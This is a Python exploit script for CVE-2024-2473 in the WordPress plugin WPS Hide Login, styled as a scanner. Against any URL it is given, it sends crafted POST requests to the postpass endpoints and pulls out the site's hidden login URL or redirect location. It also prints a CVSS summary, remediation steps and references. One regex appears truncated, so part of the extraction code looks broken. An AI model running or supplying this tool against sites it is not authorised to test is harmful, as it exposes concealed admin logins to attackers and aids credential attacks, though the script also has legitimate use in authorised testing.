#!/usr/bin/python3 """ CVE-2024-2473 - WPS Hide Login <= 1.9.15.2 | Login Page Disclosure Scanner Coded by Venexy | https://github.com/m4xsec """ import argparse import re import sys import time import requests from datetime import datetime from urllib.parse import urlparse requests.packages.urllib3.disable_warnings() class C: RESET = "\033[0m" BOLD = "\033[1m" DIM = "\033[2m" RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" MAGENTA = "\033[95m" CYAN = "\033[96m" WHITE = "\033[97m" ORANGE = "\033[38;5;208m" PINK = "\033[38;5;205m" LIME = "\033[38;5;154m" B_RED = "\033[41m" B_GREEN = "\033[42m" def print_banner(): print(f""" {C.CYAN}{C.BOLD} ██╗ ██╗██████╗ ███████╗ ██╗ ██╗██╗██████╗ ███████╗ ██║ ██║██╔══██╗██╔════╝ ██║ ██║██║██╔══██╗██╔════╝ ██║ █╗ ██║██████╔╝███████╗ ███████║██║██║ ██║█████╗ ██║███╗██║██╔═══╝ ╚════██║ ██╔══██║██║██║ ██║██╔══╝ ╚███╔███╔╝██║ ███████║ ██║ ██║██║██████╔╝███████╗ ╚══╝╚══╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚═╝╚═════╝ ╚══════╝{C.RESET} {C.YELLOW}{C.BOLD} ██╗ ██████╗ ██████╗ ██╗███╗ ██╗ ██║ ██╔═══██╗██╔════╝ ██║████╗ ██║ ██║ ██║ ██║██║ ███╗██║██╔██╗ ██║ ██║ ██║ ██║██║ ██║██║██║╚██╗██║ ███████╗╚██████╔╝╚██████╔╝██║██║ ╚████║ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚═╝ ╚═══╝{C.RESET} {C.WHITE}{C.BOLD} ┌─────────────────────────────────────────────────────────────┐ │ {C.CYAN}CVE-2024-2473{C.WHITE} • {C.YELLOW}WPS Hide Login Page Identifier{C.WHITE} │ │ {C.DIM}Coded by {C.PINK}Venexy{C.WHITE} {C.DIM}|{C.WHITE} {C.BLUE}https://github.com/m4xsec{C.WHITE} │ └─────────────────────────────────────────────────────────────┘{C.RESET} """) def ts() -> str: return f"{C.DIM}[{datetime.now().strftime('%H:%M:%S')}]{C.RESET}" def log_info(msg: str): print(f" {ts()} {C.BLUE}{C.BOLD}[*]{C.RESET} {msg}") def log_ok(msg: str): print(f" {ts()} {C.GREEN}{C.BOLD}[+]{C.RESET} {msg}") def log_warn(msg: str): print(f" {ts()} {C.YELLOW}{C.BOLD}[!]{C.RESET} {msg}") def log_err(msg: str): print(f" {ts()} {C.RED}{C.BOLD}[-]{C.RESET} {msg}") def log_vuln(msg: str): print(f" {ts()} {C.RED}{C.BOLD}[VULN]{C.RESET} {msg}") def separator(char: str = "-", width: int = 65, color: str = C.DIM): print(f" {color}{char * width}{C.RESET}") def normalize_url(url: str) -> str: if not url.startswith(("http://", "https://")): url = "https://" + url return url.rstrip("/") def is_wordpress(base_url: str, session: requests.Session, timeout: int) -> bool: try: resp = session.get(base_url, timeout=timeout, verify=False, allow_redirects=True) return "wp-content" in resp.text or "wp-includes" in resp.text except requests.RequestException as exc: log_err(f"Connection error: {exc}") return False def check_wp_login(base_url: str, session: requests.Session, timeout: int) -> dict: url = f"{base_url}/wp-login.php?action=postpass" data = "action=lostpassword&post_password=test" result = { "vulnerable": False, "hidden_login_url": None, "url": url, "status_code": None, } try: resp = session.post( url, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=timeout, verify=False, allow_redirects=True, ) result["status_code"] = resp.status_code status_ok = resp.status_code == 200 has_form = "lostpasswordform" in resp.text and "action=" in resp.text no_default = "wp-login.php" not in resp.text if status_ok and has_form and no_default: result["vulnerable"] = True match = re.search(r']+action="([^"]+lostpassword[^"]*)"', resp.text) if match: result["hidden_login_url"] = match.group(1) except requests.RequestException as exc: log_warn(f"Request failed ({url}): {exc}") return result def check_wp_admin(base_url: str, session: requests.Session, timeout: int) -> dict: url = f"{base_url}/wp-admin/?action=postpass" result = { "vulnerable": False, "redirect_location": None, "url": url, "status_code": None, } try: resp = session.post( url, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=timeout, verify=False, allow_redirects=False, ) result["status_code"] = resp.status_code location = resp.headers.get("Location", "") if (resp.status_code == 302 and location and ("reauth=1" in location or "/login" in location)): result["vulnerable"] = True result["redirect_location"] = location except requests.RequestException as exc: log_warn(f"Request failed ({url}): {exc}") return result def scan(target: str, timeout: int = 10) -> None: base_url = normalize_url(target) hostname = urlparse(base_url).netloc session = requests.Session() session.headers.update({ "User-Agent": ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/120.0.0.0 Safari/537.36" ), "Host": hostname, }) print_banner() separator("=", color=C.CYAN) print(f" {C.BOLD}{C.WHITE} TARGET {C.RESET} {C.CYAN}{base_url}{C.RESET}") print(f" {C.BOLD}{C.WHITE} TIME {C.RESET} {C.DIM}{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}{C.RESET}") print(f" {C.BOLD}{C.WHITE} TIMEOUT {C.RESET} {C.DIM}{timeout}s{C.RESET}") separator("=", color=C.CYAN) print() log_info(f"Phase 1 {C.DIM}|{C.RESET} Fingerprinting WordPress installation ...") time.sleep(0.3) if not is_wordpress(base_url, session, timeout): log_err("WordPress not detected on target. Aborting scan.") print() separator() sys.exit(0) log_ok(f"WordPress {C.GREEN}confirmed{C.RESET} — {C.CYAN}{base_url}{C.RESET}") print() separator() print() log_info(f"Phase 2 {C.DIM}|{C.RESET} Testing CVE-2024-2473 bypass vectors ...") print() log_info(f"Vector {C.YELLOW}A{C.RESET} {C.DIM}|{C.RESET} POST {C.DIM}/wp-login.php?action=postpass{C.RESET}") r1 = check_wp_login(base_url, session, timeout) sc_color = C.GREEN if r1["status_code"] == 200 else C.RED verdict = f"{C.GREEN}MATCH{C.RESET}" if r1["vulnerable"] else f"{C.DIM}NO MATCH{C.RESET}" print(f" {C.DIM}+-{C.RESET} Status : {sc_color}{r1['status_code']}{C.RESET} " f"Result : {verdict}") time.sleep(0.4) print() # Vector B log_info(f"Vector {C.YELLOW}B{C.RESET} {C.DIM}|{C.RESET} POST {C.DIM}/wp-admin/?action=postpass{C.RESET}") r2 = check_wp_admin(base_url, session, timeout) sc_color = C.GREEN if r2["status_code"] == 302 else C.RED verdict = f"{C.GREEN}MATCH{C.RESET}" if r2["vulnerable"] else f"{C.DIM}NO MATCH{C.RESET}" print(f" {C.DIM}+-{C.RESET} Status : {sc_color}{r2['status_code']}{C.RESET} " f"Result : {verdict}") time.sleep(0.4) print() separator() print() if r1["vulnerable"] or r2["vulnerable"]: print(f" {C.RED}{C.BOLD}{'#' * 63}{C.RESET}") print(f" {C.RED}{C.BOLD}## {'VULNERABILITY CONFIRMED -- CVE-2024-2473':^57} ##{C.RESET}") print(f" {C.RED}{C.BOLD}{'#' * 63}{C.RESET}") print() meta = [ ("Plugin", "WPS Hide Login <= 1.9.15.2"), ("Severity", f"{C.YELLOW}Medium{C.RESET} (CVSS 5.3 / EPSS 93rd percentile)"), ("CWE", "CWE-200 — Exposure of Sensitive Information"), ("CVSS Vector", "AV:N / AC:L / PR:N / UI:N / S:U / C:L / I:N / A:N"), ] for label, value in meta: print(f" {C.DIM} {label:<14}{C.RESET} {C.WHITE}{value}{C.RESET}") print() separator("-") print() # Vector A findings if r1["vulnerable"]: log_vuln( f"Bypass confirmed via {C.CYAN}/wp-login.php?action=postpass{C.RESET}" ) print() if r1["hidden_login_url"]: url_len = len(r1["hidden_login_url"]) + 10 box_width = max(url_len, 52) border = "=" * box_width print(f" {C.LIME}{C.BOLD} {border}{C.RESET}") print(f" {C.LIME}{C.BOLD} {' HIDDEN LOGIN URL DISCOVERED ':^{box_width}}{C.RESET}") print(f" {C.LIME}{C.BOLD} {border}{C.RESET}") print() print(f" {C.WHITE}{C.BOLD} >> {C.LIME}{C.BOLD}{r1['hidden_login_url']}{C.RESET}") print() print(f" {C.LIME}{C.BOLD} {border}{C.RESET}") print() print(f" {C.DIM} The WPS Hide Login plugin has relocated the default") print(f" wp-login.php to a custom URL. The action=postpass bypass") print(f" exposes this hidden address to unauthenticated attackers.{C.RESET}") print() # Vector B findings if r2["vulnerable"]: log_vuln( f"Bypass confirmed via {C.CYAN}/wp-admin/?action=postpass{C.RESET}" ) print() if r2["redirect_location"]: loc_len = len(r2["redirect_location"]) + 10 box_width = max(loc_len, 52) border = "=" * box_width print(f" {C.LIME}{C.BOLD} {border}{C.RESET}") print(f" {C.LIME}{C.BOLD} {' REDIRECT LOCATION EXPOSED ':^{box_width}}{C.RESET}") print(f" {C.LIME}{C.BOLD} {border}{C.RESET}") print() print(f" {C.WHITE}{C.BOLD} >> {C.LIME}{C.BOLD}{r2['redirect_location']}{C.RESET}") print() print(f" {C.LIME}{C.BOLD} {border}{C.RESET}") print() separator("-") print() print(f" {C.YELLOW}{C.BOLD} REMEDIATION{C.RESET}") print(f" {C.DIM} +--{C.RESET} Update WPS Hide Login to version {C.GREEN}> 1.9.15.2{C.RESET}") print(f" {C.DIM} +--{C.RESET} Dashboard -> Plugins -> WPS Hide Login -> Update") print(f" {C.DIM} +--{C.RESET} {C.BLUE}https://wordpress.org/plugins/wps-hide-login/{C.RESET}") print() print(f" {C.YELLOW}{C.BOLD} REFERENCES{C.RESET}") print(f" {C.DIM} +--{C.RESET} {C.BLUE}https://nvd.nist.gov/vuln/detail/CVE-2024-2473{C.RESET}") print(f" {C.DIM} +--{C.RESET} {C.BLUE}https://www.wordfence.com/threat-intel/vulnerabilities/" f"wordpress-plugins/wps-hide-login{C.RESET}") print() else: separator("-", color=C.GREEN) print(f" {C.GREEN}{C.BOLD} {'TARGET IS NOT VULNERABLE':^61}{C.RESET}") separator("-", color=C.GREEN) print() log_ok("Neither bypass vector produced a positive match.") log_ok("Plugin may be absent, already patched, or differently configured.") print() separator("=", color=C.CYAN) print( f" {C.DIM} Scan completed at " f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} | " f"Coded by {C.PINK}Venexy{C.RESET}{C.DIM} | github.com/m4xsec{C.RESET}" ) separator("=", color=C.CYAN) print() def main(): parser = argparse.ArgumentParser( description="CVE-2024-2473 — WPS Hide Login Page Disclosure Scanner", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python CVE-2024-2473.py -u https://example.com python CVE-2024-2473.py -u http://192.168.1.10 --timeout 15 Coded by Venexy | https://github.com/m4xsec """, ) parser.add_argument( "-u", "--url", required=True, metavar="URL", help="Target WordPress base URL (e.g. https://example.com)", ) parser.add_argument( "-t", "--timeout", type=int, default=10, metavar="SEC", help="HTTP request timeout in seconds (default: 10)", ) args = parser.parse_args() try: scan(args.url, args.timeout) except KeyboardInterrupt: print(f"\n\n {C.YELLOW}[!]{C.RESET} Scan interrupted by user.\n") sys.exit(1) if __name__ == "__main__": main()